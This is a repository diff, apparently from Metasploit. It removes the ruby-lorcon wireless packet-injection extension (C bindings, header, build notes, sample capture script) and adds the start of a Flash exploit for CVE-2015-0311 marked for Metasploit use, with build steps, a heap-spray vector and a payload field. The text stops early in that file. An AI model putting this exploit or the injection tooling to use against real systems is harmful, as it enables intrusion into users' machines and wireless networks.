#ifndef RUBY_19
|
||||
#include "rubysig.h"
|
||||
#endif
|
||||
|
||||
/*
|
||||
self.license = GPLv2;
|
||||
*/
|
||||
|
||||
/*
|
||||
This is a derivative of the tx.c sample included with lorcon:
|
||||
http://802.11ninja.net/lorcon/
|
||||
|
||||
lorcon is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
lorcon is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with lorcon; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
Copyright (c) 2005 dragorn and Joshua Wright
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
Lots of code borrowed from Tom Wambold's pylorcon:
|
||||
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
|
||||
*/
|
||||
|
||||
/*
|
||||
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
|
||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||
*/
|
||||
|
||||
VALUE mLorcon;
|
||||
VALUE cDevice;
|
||||
VALUE cPacket;
|
||||
|
||||
VALUE Lorcon_get_version(VALUE self) {
|
||||
return INT2NUM(lorcon_get_version());
|
||||
}
|
||||
|
||||
static VALUE Lorcon_list_drivers(VALUE self) {
|
||||
VALUE list;
|
||||
VALUE hash;
|
||||
|
||||
lorcon_driver_t *drvlist, *dri;
|
||||
|
||||
list = rb_hash_new();
|
||||
|
||||
dri = drvlist = lorcon_list_drivers();
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
while (dri) {
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
rb_hash_aset(list, rb_str_new2(dri->name),hash);
|
||||
dri = dri->next;
|
||||
}
|
||||
|
||||
lorcon_free_driver_list(drvlist);
|
||||
|
||||
return(list);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_find_driver(VALUE self, VALUE driver) {
|
||||
VALUE hash;
|
||||
lorcon_driver_t *dri;
|
||||
char *drivert = RSTRING_PTR(driver);
|
||||
|
||||
dri = lorcon_find_driver(drivert);
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
hash = rb_hash_new();
|
||||
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
return(hash);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_auto_driver(VALUE self, VALUE interface) {
|
||||
VALUE hash;
|
||||
lorcon_driver_t *dri;
|
||||
char *intf = RSTRING_PTR(interface);
|
||||
|
||||
dri = lorcon_auto_driver(intf);
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
return hash;
|
||||
}
|
||||
|
||||
void Lorcon_free(struct rldev *rld) {
|
||||
if (rld->context != NULL)
|
||||
lorcon_free(rld->context);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
char *intf = NULL, *driver = NULL;
|
||||
VALUE rbdriver, rbintf, obj;
|
||||
lorcon_driver_t *dri;
|
||||
|
||||
if (argc == 2) {
|
||||
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
|
||||
intf = StringValuePtr(rbintf);
|
||||
driver = StringValuePtr(rbdriver);
|
||||
} else {
|
||||
rb_scan_args(argc, argv, "1", &rbintf);
|
||||
intf = StringValuePtr(rbintf);
|
||||
}
|
||||
|
||||
if (driver == NULL) {
|
||||
if ((dri = lorcon_auto_driver(intf)) == NULL) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON could not detect a driver and none specified");
|
||||
return (Qnil);
|
||||
}
|
||||
} else {
|
||||
if ((dri = lorcon_find_driver(driver)) == NULL) {
|
||||
rb_raise(rb_eArgError,
|
||||
"LORCON could not recognize the specified driver");
|
||||
return (Qnil);
|
||||
}
|
||||
}
|
||||
|
||||
obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld);
|
||||
|
||||
rld->context = lorcon_create(intf, dri);
|
||||
|
||||
// Obsolete: XXX
|
||||
// lorcon_set_timeout(rld->context, 100);
|
||||
|
||||
if (rld->context == NULL) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON could not create context");
|
||||
return (Qnil);
|
||||
}
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_open_inject(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_inject(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_open_monitor(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_monitor(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_open_injmon(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_injmon(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_error(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
return rb_str_new2(lorcon_get_error(rld->context));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_capiface(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
return rb_str_new2(lorcon_get_capiface(rld->context));
|
||||
}
|
||||
|
||||
void Lorcon_packet_free(struct rlpack *rlp) {
|
||||
if (rlp->packet != NULL) {
|
||||
lorcon_packet_free(rlp->packet);
|
||||
rlp->packet = NULL;
|
||||
free(rlp);
|
||||
}
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_create(int argc, VALUE *argv, VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
VALUE obj;
|
||||
|
||||
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
|
||||
|
||||
rlp->packet = (struct lorcon_packet *) malloc(sizeof(struct lorcon_packet));
|
||||
memset(rlp->packet, 0, sizeof(struct lorcon_packet));
|
||||
|
||||
rlp->bssid = NULL;
|
||||
rlp->dot3 = NULL;
|
||||
rlp->len = 0;
|
||||
rlp->dir = 0;
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_channel(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->channel);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_set_channel(VALUE self, VALUE channel) {
|
||||
struct rlpack *rlp;
|
||||
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
lorcon_packet_set_channel(rlp->packet, NUM2INT(channel));
|
||||
|
||||
return channel;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_dlt(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->dlt);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_bssid(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->bssid_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->bssid_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_source(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->source_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->source_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_dest(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->dest_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->dest_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_rawdata(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_raw == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_raw, rlp->packet->length);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_headerdata(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_header == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_header, rlp->packet->length_header);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_data(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_data == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_data, rlp->packet->length_data);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_packet_getdot3(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
u_char *pdata;
|
||||
int len;
|
||||
VALUE ret;
|
||||
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_data == NULL)
|
||||
return Qnil;
|
||||
|
||||
len = lorcon_packet_to_dot3(rlp->packet, &pdata);
|
||||
|
||||
ret = rb_str_new((char *)pdata, len);
|
||||
|
||||
free(pdata);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepdot3(VALUE self, VALUE dot3) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->dot3 = (unsigned char *) RSTRING_PTR(dot3);
|
||||
rlp->len = RSTRING_LEN(dot3);
|
||||
|
||||
return dot3;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepbssid(VALUE self, VALUE bssid) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->bssid = (unsigned char *)RSTRING_PTR(bssid);
|
||||
|
||||
return bssid;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepdir(VALUE self, VALUE dir) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->dir = NUM2INT(dir);
|
||||
|
||||
return dir;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_getdir(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->dir != 0)
|
||||
return INT2FIX(rlp->dir);
|
||||
|
||||
if (rlp->packet == NULL)
|
||||
return Qnil;
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->from_ds && !extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_FROMDS);
|
||||
else if (!extra->from_ds && extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_TODS);
|
||||
else if (!extra->from_ds && !extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_ADHOCDS);
|
||||
else if (extra->from_ds && extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_INTRADS);
|
||||
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_rawlength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_headerlength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length_header);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_datalength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length_data);
|
||||
}
|
||||
|
||||
VALUE new_lorcon_packet(struct lorcon_packet **packet) {
|
||||
struct rlpack *rlp;
|
||||
VALUE obj;
|
||||
|
||||
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
|
||||
|
||||
rlp->packet = *packet;
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_inject_packet(VALUE self, VALUE packet) {
|
||||
struct rldev *rld;
|
||||
struct rlpack *rlp;
|
||||
lorcon_packet_t *pack = NULL;
|
||||
int ret;
|
||||
|
||||
if (rb_obj_is_kind_of(packet, cPacket) == 0) {
|
||||
rb_raise(rb_eTypeError, "wrong type expected %s", rb_class2name(cPacket));
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
Data_Get_Struct(packet, struct rlpack, rlp);
|
||||
|
||||
if (rlp->bssid != NULL && rlp->dot3 != NULL) {
|
||||
pack = lorcon_packet_from_dot3(rlp->bssid, rlp->dir, rlp->dot3, rlp->len);
|
||||
ret = lorcon_inject(rld->context, pack);
|
||||
lorcon_packet_free(pack);
|
||||
} else {
|
||||
ret = lorcon_inject(rld->context, rlp->packet);
|
||||
}
|
||||
|
||||
return INT2FIX(ret);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_write_raw(VALUE self, VALUE rpacket) {
|
||||
struct rldev *rld;
|
||||
int ret;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if(TYPE(rpacket) != T_STRING) {
|
||||
rb_raise(rb_eArgError, "packet data must be a string");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
ret = lorcon_send_bytes(rld->context, RSTRING_LEN(rpacket), (unsigned char *)RSTRING_PTR(rpacket));
|
||||
return INT2FIX(ret);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_set_filter(VALUE self, VALUE filter) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_set_filter(rld->context, RSTRING_PTR(filter)));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_set_channel(VALUE self, VALUE channel) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel)));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_channel(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_get_channel(rld->context));
|
||||
}
|
||||
|
||||
static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
|
||||
job->pkt = (unsigned char *)pkt;
|
||||
job->hdr = *hdr;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_capture_next(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
struct lorcon_packet *packet;
|
||||
unsigned char *raw;
|
||||
pcap_t *pd;
|
||||
rblorconjob_t job;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
pd = lorcon_get_pcap(rld->context);
|
||||
|
||||
#ifndef RUBY_19
|
||||
TRAP_BEG;
|
||||
#endif
|
||||
ret = pcap_dispatch(pd, 1, (pcap_handler) rblorcon_pcap_handler, (u_char *)&job);
|
||||
#ifndef RUBY_19
|
||||
TRAP_END;
|
||||
#endif
|
||||
|
||||
if (ret == 0)
|
||||
return(Qnil);
|
||||
|
||||
if (ret < 0 || job.hdr.caplen <= 0)
|
||||
return INT2FIX(ret);
|
||||
|
||||
raw = malloc(job.hdr.caplen);
|
||||
if(! raw) return Qnil;
|
||||
|
||||
memcpy(raw, job.pkt, job.hdr.caplen);
|
||||
packet = lorcon_packet_from_pcap(rld->context, &job.hdr, raw);
|
||||
lorcon_packet_set_freedata(packet, 1);
|
||||
|
||||
return new_lorcon_packet(&packet);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_capture_loop(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int count = 0;
|
||||
int p = 0;
|
||||
VALUE v_cnt;
|
||||
VALUE ret;
|
||||
int fd;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (rb_scan_args(argc, argv, "01", &v_cnt) >= 1) {
|
||||
count = FIX2INT(v_cnt);
|
||||
} else {
|
||||
count = -1;
|
||||
}
|
||||
|
||||
fd = lorcon_get_selectable_fd(rld->context);
|
||||
if(fd < 0 ) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON context could not provide a pollable descriptor "
|
||||
"and we need one for the threaded dispatch loop");
|
||||
}
|
||||
|
||||
while (p < count || count <= 0) {
|
||||
ret = Lorcon_capture_next(self);
|
||||
if(TYPE(ret) == T_FIXNUM) return(ret);
|
||||
if(ret == Qnil) {
|
||||
rb_thread_wait_fd(fd);
|
||||
} else {
|
||||
rb_yield(ret);
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
return INT2FIX(p);
|
||||
}
|
||||
|
||||
|
||||
void Init_Lorcon2() {
|
||||
mLorcon = rb_define_module("Lorcon");
|
||||
|
||||
cPacket = rb_define_class_under(mLorcon, "Packet", rb_cObject);
|
||||
|
||||
rb_define_const(cPacket, "LORCON_FROM_DS", INT2NUM(LORCON_DOT11_DIR_FROMDS));
|
||||
rb_define_const(cPacket, "LORCON_TO_DS", INT2NUM(LORCON_DOT11_DIR_TODS));
|
||||
rb_define_const(cPacket, "LORCON_INTRA_DS", INT2NUM(LORCON_DOT11_DIR_INTRADS));
|
||||
rb_define_const(cPacket, "LORCON_ADHOC_DS", INT2NUM(LORCON_DOT11_DIR_ADHOCDS));
|
||||
|
||||
rb_define_singleton_method(cPacket, "new", Lorcon_packet_create, -1);
|
||||
rb_define_method(cPacket, "bssid", Lorcon_packet_get_bssid, 0);
|
||||
rb_define_method(cPacket, "source", Lorcon_packet_get_source, 0);
|
||||
rb_define_method(cPacket, "dest", Lorcon_packet_get_dest, 0);
|
||||
|
||||
rb_define_method(cPacket, "channel", Lorcon_packet_get_channel, 0);
|
||||
rb_define_method(cPacket, "channel=", Lorcon_packet_set_channel, 1);
|
||||
rb_define_method(cPacket, "dlt", Lorcon_packet_get_dlt, 0);
|
||||
|
||||
rb_define_method(cPacket, "rawdata", Lorcon_packet_get_rawdata, 0);
|
||||
rb_define_method(cPacket, "headerdata", Lorcon_packet_get_headerdata, 0);
|
||||
rb_define_method(cPacket, "data", Lorcon_packet_get_data, 0);
|
||||
|
||||
rb_define_method(cPacket, "dot3", Lorcon_packet_getdot3, 0);
|
||||
|
||||
rb_define_method(cPacket, "dot3=", Lorcon_packet_prepdot3, 1);
|
||||
rb_define_method(cPacket, "bssid=", Lorcon_packet_prepbssid, 1);
|
||||
rb_define_method(cPacket, "direction=", Lorcon_packet_prepdir, 1);
|
||||
rb_define_method(cPacket, "direction", Lorcon_packet_getdir, 0);
|
||||
|
||||
rb_define_method(cPacket, "size", Lorcon_packet_get_rawlength, 0);
|
||||
rb_define_method(cPacket, "linesize", Lorcon_packet_get_rawlength, 0);
|
||||
rb_define_method(cPacket, "headersize", Lorcon_packet_get_headerlength, 0);
|
||||
rb_define_method(cPacket, "datasize", Lorcon_packet_get_datalength, 0);
|
||||
|
||||
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
|
||||
rb_define_singleton_method(cDevice, "new", Lorcon_create, -1);
|
||||
rb_define_method(cDevice, "openinject", Lorcon_open_inject, 0);
|
||||
rb_define_method(cDevice, "openmonitor", Lorcon_open_monitor, 0);
|
||||
rb_define_method(cDevice, "openinjmon", Lorcon_open_injmon, 0);
|
||||
rb_define_method(cDevice, "error", Lorcon_get_error, 0);
|
||||
rb_define_method(cDevice, "capiface", Lorcon_get_capiface, 0);
|
||||
|
||||
rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1);
|
||||
rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1);
|
||||
rb_define_method(cDevice, "channel", Lorcon_get_channel, 0);
|
||||
|
||||
rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "each", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "each_packet", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "write", Lorcon_write_raw, 1);
|
||||
rb_define_method(cDevice, "inject", Lorcon_inject_packet, 1);
|
||||
rb_define_module_function(mLorcon, "drivers", Lorcon_list_drivers, 0);
|
||||
rb_define_module_function(mLorcon, "version", Lorcon_get_version, 0);
|
||||
rb_define_module_function(mLorcon, "find_driver", Lorcon_find_driver, 1);
|
||||
rb_define_module_function(mLorcon, "auto_driver", Lorcon_auto_driver, 1);
|
||||
}
|
||||
|
||||
|
|
@ -1,31 +0,0 @@
|
|||
#ifndef _MSFLORCON_H
|
||||
#define _MSFLORCON_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#include <lorcon2/lorcon.h>
|
||||
#include <pcap.h>
|
||||
|
||||
struct rldev {
|
||||
struct lorcon *context;
|
||||
};
|
||||
|
||||
struct rlpack {
|
||||
struct lorcon_packet *packet;
|
||||
|
||||
/* dot3 construction via multiple elements */
|
||||
u_char *bssid, *dot3;
|
||||
int dir, len;
|
||||
};
|
||||
|
||||
|
||||
typedef struct rblorconjob {
|
||||
struct pcap_pkthdr hdr;
|
||||
unsigned char *pkt;
|
||||
} rblorconjob_t;
|
||||
|
||||
#endif
|
|
@ -1,41 +0,0 @@
|
|||
This is an experimental interface for lorcon, a 802.11 library
|
||||
developed by Joshua Wright and dragorn. This interface is only
|
||||
available on Linux and with lorcon-supported wireless drivers.
|
||||
|
||||
For more information, please see the lorcon documentation and code:
|
||||
http://www.802.11mercenary.net/lorcon/
|
||||
|
||||
To build this extension:
|
||||
|
||||
1) Download, compile, and install lorcon
|
||||
The latest version of lorcon can pulled from SVN:
|
||||
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
|
||||
$ cd lorcon
|
||||
$ ./configure
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
# exit
|
||||
$ cd ..
|
||||
|
||||
2) build the ruby extension..
|
||||
$ ruby extconf.rb
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
|
||||
|
||||
NOTES:
|
||||
|
||||
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
|
||||
you need ruby dev package.
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
|
||||
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
|
||||
from extconf.rb:2
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev
|
|
@ -1,16 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'mkmf'
|
||||
|
||||
|
||||
$CFLAGS += " -I/usr/include/lorcon2"
|
||||
|
||||
if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ )
|
||||
$CFLAGS += " -DRUBY_19"
|
||||
end
|
||||
|
||||
if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h")
|
||||
create_makefile("Lorcon2")
|
||||
else
|
||||
puts "Error: the lorcon2 library was not found, please see the README"
|
||||
end
|
||||
|
|
@ -1,59 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.dirname(__FILE__))
|
||||
|
||||
require "Lorcon2"
|
||||
require 'thread'
|
||||
require "pp"
|
||||
|
||||
intf = ARGV.shift || "wlan0"
|
||||
|
||||
$stdout.puts "Checking LORCON version"
|
||||
|
||||
pp Lorcon.version
|
||||
|
||||
$stdout.puts "\nFetching LORCON driver list"
|
||||
|
||||
pp Lorcon.drivers
|
||||
|
||||
$stdout.puts "\nResolving driver by name 'mac80211'"
|
||||
|
||||
pp Lorcon.find_driver("mac80211")
|
||||
|
||||
$stdout.puts "\nAuto-detecting driver for interface wlan0"
|
||||
|
||||
pp Lorcon.auto_driver(intf)
|
||||
|
||||
|
||||
tx = Lorcon::Device.new(intf)
|
||||
$stdout.puts "\nCreated LORCON context"
|
||||
|
||||
if tx.openinjmon()
|
||||
$stdout.puts "\nOpened as INJMON: " + tx.capiface
|
||||
else
|
||||
$stdout.puts "\nFAILED to open " + tx.capiface + " as INJMON: " + tx.error
|
||||
end
|
||||
|
||||
def safe_loop(wifi)
|
||||
@q = Queue.new
|
||||
reader = Thread.new do
|
||||
wifi.each_packet {|pkt| @q << pkt }
|
||||
end
|
||||
|
||||
eater = Thread.new do
|
||||
while(pkt = @q.pop)
|
||||
yield(pkt)
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
eater.join
|
||||
rescue ::Interrupt => e
|
||||
reader.kill if reader.alive?
|
||||
puts "ALL DONE!"
|
||||
end
|
||||
end
|
||||
|
||||
safe_loop(tx) do |pkt|
|
||||
pp pkt
|
||||
end
|
|
@ -1,11 +0,0 @@
|
|||
Path: .
|
||||
URL: http://802.11ninja.net/svn/lorcon/trunk/ruby-lorcon
|
||||
Repository Root: http://802.11ninja.net/svn/lorcon
|
||||
Repository UUID: 61418039-352c-0410-8488-9e586b2135b2
|
||||
Revision: 204
|
||||
Node Kind: directory
|
||||
Schedule: normal
|
||||
Last Changed Author: dragorn
|
||||
Last Changed Rev: 202
|
||||
Last Changed Date: 2009-09-15 09:31:29 -0500 (Tue, 15 Sep 2009)
|
||||
|
|
@ -0,0 +1,243 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.display.LoaderInfo;
|
||||
import flash.system.ApplicationDomain;
|
||||
import flash.utils.ByteArray;
|
||||
import avm2.intrinsics.memory.casi32;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<Object> = new Vector.<Object>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(51200)
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = "";
|
||||
|
||||
/*public static function log(msg:String):void{
|
||||
var str:String = "";
|
||||
str += msg;
|
||||
